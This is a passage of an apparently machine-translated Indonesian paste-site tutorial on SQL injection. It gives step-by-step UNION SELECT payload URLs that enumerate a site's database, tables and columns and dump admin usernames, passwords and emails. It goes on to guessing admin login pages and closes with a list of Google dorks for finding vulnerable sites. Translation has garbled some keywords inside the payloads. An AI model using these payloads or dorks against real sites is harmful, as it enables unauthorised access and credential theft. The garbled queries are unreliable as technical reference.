  4135. Peringatan: mysql_fetch_array (): argumen yang disediakan bukanlah sumber daya hasil MySQL yang valid di /home1/michafj0/public_html/gallery.php on line 7
  4136.  
  4137. Atau sesuatu di sepanjang garis itu, ini berarti rentan terhadap injeksi.
  4138.  
  4139. Dalam kasus di mana Anda menemukan situs web seperti ini:
  4140.  
  4141. Kode:
  4142. http://www.site.com/buy.php?id=1&dog;catid=2
  4143.  
  4144. Maka Anda harus menggunakan teknik yang sama dengan menambahkan 'kecuali itu harus antara nilai (dalam hal ini nomor) dan operator ("=" tanda) sehingga terlihat seperti ini:
  4145.  
  4146. Kode:
  4147. http://www.site.com/buy.php?id='1&dog;catid='2
  4148.  
  4149. Ada program yang akan melakukan ini untuk Anda tetapi untuk memulai saya akan menyarankan hanya untuk melakukan hal-hal secara manual, menggunakan Google, dan jadi saya tidak akan memposting apa pun untuk Anda. Jika Anda merasa sangat terpaksa untuk menggunakan satu lagi. Saya merekomendasikan Exploit Scanner oleh Reiluke.
  4150.  
  4151. Bagian Dua - Menentukan jumlah kolom
  4152.  
  4153. Agar kami dapat menggunakan perintah dan mendapatkan hasil, kami harus tahu berapa banyak kolom yang ada di situs web. Jadi untuk menemukan jumlah kolom kita harus menggunakan metode yang sangat kompleks dan canggih yang saya suka sebut "Trial and Error" dengan perintah ORDER BY Biggrin
  4154.  
  4155. CATATAN: SQL tidak peduli apakah huruf Anda dikapitalisasi atau tidak dan saya hanya melakukannya karena kejelasan, karena semua yang peduli pertanyaan Anda bisa terlihat seperti ini:
  4156.  
  4157. Kode:
  4158. http://www.site.com/buy.php?id=-1 CaN I HaZ TeH PaSSwOrDs? PLz dan ThX
  4159.  
  4160. TIDAK MASALAH (btw tolong jangan berpikir itu adalah perintah yang sebenarnya).
  4161.  
  4162. Jadi kembali ke perintah ORDER BY. Untuk menemukan jumlah kolom, kami menulis kueri dengan nilai inkrementing hingga kami mendapatkan kesalahan, seperti ini:
  4163.  
  4164. Kode:
  4165. http://www.site.com/buy.php?id=1 ORDER BY 1-- <--- Tidak ada kesalahan
  4166. http://www.site.com/buy.php?id=1 ORDER BY 2-- <--- Tidak ada kesalahan
  4167. http://www.site.com/buy.php?id=1 ORDER BY 3-- <--- Tidak ada kesalahan
  4168. http://www.site.com/buy.php?id=1 ORDER BY 4-- <--- Tidak ada kesalahan
  4169. http://www.site.com/buy.php?id=1 ORDER BY 5-- <--- ERROR!
  4170.  
  4171. Ini berarti ada empat kolom!
  4172.  
  4173. JANGAN LUPA UNTUK MENGUNGKAPKAN NULL DOUBLE (-) SETELAH QUERY.
  4174. SANGAT PENTING!
  4175.  
  4176. Bagian Tiga - Menemukan kolom mana yang rentan
  4177.  
  4178. Jadi kita tahu bahwa ada empat kolom sekarang kita harus mencari tahu mana yang rentan terhadap injeksi. Untuk melakukan ini, kami menggunakan UNION dan SELECT queries sambil mempertahankan double null (-) di akhir string. Ada juga perbedaan lain yang berukuran kecil tetapi tidak penting, lihat apakah Anda dapat menemukannya.
  4179.  
  4180. Kode:
  4181. http://www.site.com/buy.php?id=-1 UNION SELECT 1,2,3,4--
  4182.  
  4183. Jika Anda tidak dapat menemukan perbedaannya, ini adalah nol tambahan di antara tanda "=" dan nilai (nomor).
  4184.  
  4185. buy.php? id = -1
  4186.  
  4187. Sekarang setelah memasukkan pertanyaan itu Anda harus dapat melihat beberapa angka di suatu tempat di halaman yang tampaknya tidak pada tempatnya. Itu adalah jumlah kolom yang rentan terhadap injeksi. Kita dapat menggunakan kolom-kolom itu untuk menarik informasi dari database yang akan kita lihat di Bagian Dua.
  4188.  
  4189. Bagian Dua - Mengumpulkan Informasi
  4190.  
  4191. Pada bagian ini kita akan menemukan bagaimana menemukan nama database dan versi SQL apa yang digunakan situs web dengan menggunakan kueri untuk mengeksploitasi situs.
  4192.  
  4193. Bagian Satu - Menentukan versi SQL.
  4194.  
  4195. Menemukan versi SQL dari situs web adalah langkah yang sangat penting karena langkah yang Anda ambil untuk versi 4 cukup berbeda dari versi 5 untuk mendapatkan apa yang Anda inginkan. Dalam tutorial ini, saya tidak akan membahas versi 4 karena ini adalah permainan menebak dan untuk jenis situs yang masih menggunakannya, itu tidak sebanding dengan waktu Anda.
  4196.  
  4197. Jika kita melihat kembali ke akhir Bagian Tiga di Bagian Satu kita melihat bagaimana menemukan kolom yang rentan. Menggunakan informasi itu kita dapat mengumpulkan pertanyaan berikutnya (saya akan menggunakan kolom 2). Perintah akan terlihat seperti ini:
  4198.  
  4199. Kode:
  4200. http://www.site.com/buy.php?id=-1 UNION SELECT 1, @@ version, 3,4--
  4201.  
  4202. Karena 2 adalah kolom rentan, di sinilah kita akan menempatkan "@@ version". String lain yang dapat menggantikan "@@ version" adalah "versi ()".
  4203.  
  4204. Jika situs web masih tidak menampilkan versi coba menggunakan unhex (hex ()) yang terlihat seperti ini:
  4205.  
  4206. Kode:
  4207. http://www.site.com/buy.php?id=-1 UNION SELECT 1, unhex (hex (@@ version)), 3,4--
  4208.  
  4209. CATATAN: Jika metode ini harus digunakan di sini, itu harus digunakan untuk sisa suntikan juga.
  4210.  
  4211. Sekarang apa yang ingin Anda lihat adalah sesuatu di bawah garis-garis ini:
  4212.  
  4213. Kode:
  4214. 5.1.47-komunitas-log
  4215.  
  4216. Yang merupakan versi dari SQL untuk situs web.
  4217.  
  4218. CATATAN: Jika Anda melihat versi 4 dan Anda ingin mencobanya, ada tutorial lain yang menjelaskan cara menyuntikkannya.
  4219.  
  4220. Bagian Dua - Menemukan basis data
  4221.  
  4222. Menemukan nama basis data tidak selalu merupakan langkah yang diperlukan untuk mengumpulkan informasi yang Anda inginkan, namun dalam pengalaman saya mengikuti langkah-langkah ini dan menemukan basis data terkadang dapat menghasilkan tingkat keberhasilan yang lebih tinggi.
  4223.  
  4224. Untuk menemukan database kami menggunakan query seperti yang di bawah ini:
  4225.  
  4226. Kode:
  4227. http://www.site.com/buy.php?id=-1 UNION SELECT 1, group_concat (schema_name), 3,4 dari information_schema.schemata--
  4228.  
  4229. Ini terkadang menghasilkan lebih banyak hasil daripada yang diperlukan dan saat itulah kami beralih ke kueri ini:
  4230.  
  4231. Kode:
  4232. http://www.site.com/buy.php?id=-1 UNION SELECT 1, concat (database ()), 3,4--
  4233.  
  4234. Selamat! Anda sekarang memiliki nama database! Salin dan tempelkan nama di suatu tempat yang aman, kita akan membutuhkannya nanti.
  4235.  
  4236. Bagian Tiga - The Good Stuff
  4237.  
  4238. Ini adalah bagian yang menyenangkan di mana kami akan menemukan nama pengguna, email, dan kata sandi!
  4239.  
  4240. Bagian Satu - Menemukan nama-nama tabel
  4241.  
  4242. Untuk menemukan nama tabel kami menggunakan query yang mirip dengan yang digunakan untuk mencari database dengan sedikit tambahan tambahan:
  4243.  
  4244. Kode:
  4245. http://www.site.com/buy.php?id=-1 UNION SELECT 1, group_concat (table_name), 3,4 FROM information_schema.tables WHERE table_schema = database () -
  4246.  
  4247. Mungkin terlihat panjang dan membingungkan tetapi setelah Anda memahaminya, itu tidak benar-benar saya akan coba jelaskan. Apa yang dilakukan oleh query ini adalah "groups" (group_concat) "nama tabel" (nama_tabel) bersama-sama dan mengumpulkan informasi tersebut "dari" (FROM) information_schema.tables di mana "skema tabel" (table_schema) dapat ditemukan di "basis data "(database ()).
  4248.  
  4249. CATATAN: Saat menggunakan group_concat Anda hanya akan dapat melihat tabel 1024 karakter, jadi jika Anda melihat bahwa tabel terputus pada saklar akhir untuk membatasi yang akan saya jelaskan sekarang.
  4250.  
  4251. Kode:
  4252. http://www.site.com/buy.php?id=-1 UNION SELECT 1, table_name, 3,4 FROM information_schema.tables WHERE table_schema = database () LIMIT 0,1--
  4253.  
  4254. Apa yang dilakukan adalah menampilkan tabel pertama dan satu-satunya yang pertama. Jadi jika kita kehabisan karakter, katakanlah tabel ke-31 kita bisa menggunakan query ini:
  4255.  
  4256. Kode:
  4257. http://www.site.com/buy.php?id=-1 UNION SELECT 1, table_name, 3,4 FROM information_schema.tables WHERE table_schema = database () LIMIT 30,1--
  4258.  
  4259. Perhatikan bagaimana batas saya adalah 30,1 bukannya 31,1? Ini karena ketika menggunakan batas dimulai dari 0,1 yang berarti bahwa ke-30 sebenarnya adalah Tongue ke-31
  4260.  
  4261. Anda sekarang memiliki semua nama tabel!
  4262.  
  4263.  
  4264. Bagian Dua - Menemukan nama-nama kolom
  4265.  
  4266. Sekarang setelah Anda memiliki semua nama tabel coba dan pilih salah satu yang menurut Anda akan berisi informasi berair. Biasanya mereka adalah tabel seperti User (s), Admin (s), tblUser (s) dan sebagainya tetapi itu bervariasi antar situs.
  4267.  
  4268. Setelah menentukan tabel mana yang menurut Anda berisi informasi, gunakan kueri ini (dalam contoh saya, saya akan menggunakan nama tabel "Admin"):
  4269.  
  4270. Kode:
  4271. http://www.site.com/buy.php?id=-1 UNION SELECT 1, group_concat (column_name), 3,4 FROM information_schema.columns WHERE table_name = "Admin" -
  4272.  
  4273. Ini akan memberi Anda daftar semua kolom di dalam tabel atau memberi Anda kesalahan tetapi jangan panik jika hasilnya # 2! Semua ini berarti bahwa Kutipan Sihir diaktifkan. Ini dapat dilewati dengan menggunakan hex atau char converter (keduanya berfungsi) untuk mengonversi teks normal menjadi char atau hex (tautan ke situs web yang melakukan ini akan dimasukkan di akhir tutorial).
  4274.  
  4275. PEMBARUAN: Jika Anda mendapatkan kesalahan pada titik ini, yang harus Anda lakukan adalah ikuti langkah-langkah berikut:
  4276.  
  4277. 1. Salin nama tabel yang Anda coba akses.
  4278. 2. Tempelkan nama tabel ke dalam situs web ini yang bertuliskan "Say Hello To My Little Friend".
  4279. Konverter Hex / Char
  4280. http://www.swingnote.com/tools/texttohex.php
  4281. 3. Klik konversikan.
  4282. 4. Salin string angka / huruf di bawah Hex ke dalam kueri Anda sehingga terlihat seperti ini:
  4283.  
  4284. Kode:
  4285. http://www.site.com/buy.php?id=-1 UNION SELECT 1, group_concat (column_name), 3,4 FROM information_schema.columns WHERE table_name = 0x41646d696e--
  4286.  
  4287. Perhatikan bagaimana sebelum saya menempelkan hex saya menambahkan "0x", semua ini memberitahu server bahwa karakter berikut adalah bagian dari string hex.
  4288.  
  4289. Anda sekarang harus melihat daftar semua kolom dalam tabel seperti nama pengguna, kata sandi, dan email.
  4290.  
  4291. CATATAN: Menggunakan fungsi batas berfungsi dengan kolom juga.
  4292.  
  4293. Bagian Tiga - Menampilkan isi kolom
  4294.  
  4295. Kami hampir selesai! Yang harus kita lakukan adalah melihat apa yang ada di dalam kolom itu dan menggunakan informasi untuk masuk! Untuk melihat kolom yang kita butuhkan untuk memutuskan mana yang ingin kita lihat dan kemudian menggunakan query ini (dalam contoh ini saya ingin melihat kolom "username", "password", dan "email", dan nama database saya akan "db123 "). Di sinilah nama database berguna:
  4296.  
  4297. Kode:
  4298. http://www.site.com/buy.php?id=-1 UNION SELECT 1, group_concat (nama pengguna, 0x3a, kata sandi, 0x3a, email), 3,4 DARI db123.Admin--
  4299.  
  4300. Dalam query ini, 0x3a adalah nilai hex dari titik dua (:) yang akan mengelompokkan username: password: email untuk masing-masing pengguna begitu saja.
  4301.  
  4302. AKHIRNYA! Sekarang Anda memiliki informasi login untuk pengguna situs, termasuk admin. Yang harus Anda lakukan sekarang adalah menemukan halaman login admin yang membawa kita ke Bagian Empat.
  4303.  
  4304. Bagian Empat - Mencari halaman admin
  4305.  
  4306. Biasanya halaman admin akan langsung dari halaman beranda situs, berikut beberapa contohnya:
  4307.  
  4308. Kode:
  4309. http://www.site.com/admin
  4310. http://www.site.com/adminlogin
  4311. http://www.site.com/modlogin
  4312. http://www.site.com/moderator
  4313.  
  4314. Sekali lagi ada program yang akan menemukan halaman untuk Anda tetapi pertama-tama cobalah beberapa tebakan dasar, itu mungkin menghemat beberapa klik. Jika Anda menggunakan program Reiluke telah mengkodekan satu untuk itu juga. Cari Admin Finder oleh Reiluke.
  4315.  
  4316. Dan itu termasuk tutorial saya! Saya harap ini bermanfaat bagi sebagian dari Anda. Ingatlah untuk terus berlatih dan akhirnya Anda akan memiliki semua pertanyaan yang dihafalkan dalam waktu singkat!
  4317.  
  4318. Komentar dan Nilai!
  4319.  
  4320. Berikan kredit di mana kredit jatuh tempo!
  4321.  
  4322. Saya menepati janji saya jadi di sini adalah apa yang saya katakan akan saya sertakan:
  4323.  
  4324. Daftar Dork
  4325. trainers.php? id =
  4326. article.php? ID =
  4327. play_old.php? id =
  4328. declaration_more.php? decl_id =
  4329. Pageid =
  4330. games.php? id =
  4331. newsDetail.php? id =
  4332. staff_id =
  4333. historialeer.php? num =
  4334. product-item.php? id =
  4335. news_view.php? id =
  4336. humor.php? id =
  4337. communique_detail.php? id =
  4338. sem.php3? id =
  4339. opinions.php? id =
  4340. spr.php? id =
  4341. pages.php? id =
  4342. chappies.php? id =
  4343. prod_detail.php? id =
  4344. viewphoto.php? id =
  4345. view.php? id =
  4346. website.php? id =
  4347. hosting_info.php? id =
  4348. gery.php? id =
  4349. detail.php? ID =
  4350. publikasi.php? id =
  4351. Productinfo.php? Id =
  4352. releases.php? id =
  4353. ray.php? id =
  4354. produit.php? id =
  4355. pop.php? id =
  4356. shopping.php? id =
  4357. productdetail.php? id =
  4358. post.php? id =
  4359. section.php? id =
  4360. theme.php? id =
  4361. page.php? id =
  4362. shredder-categories.php? id =
  4363. product_ranges_view.php? ID =
  4364. shop_category.php? id =
  4365. channel_id =
  4366. newsid =
  4367. news_display.php? getid =
  4368. ages.php? id =
  4369. clanek.php4? id =
  4370. review.php? id =
  4371. iniziativa.php? in =
  4372. kurikulum.php? id =
  4373. labels.php? id =
  4374. lihat.php? ID =
  4375. galeri_info.php? l =
  4376. tekst.php? idt =
  4377. newscat.php? id =
  4378. newsticker_info.php? idn =
  4379. rubrika.php? idr =
  4380. offer.php? idf =
  4381.  
  4382. Ada daftar dork yang lebih luas yang dapat ditemukan.
  4383.  
  4384. Konverter Hex / Char
  4385. http://www.swingnote.com/tools/texttohex.php
Add Comment
Please, Sign In to add comment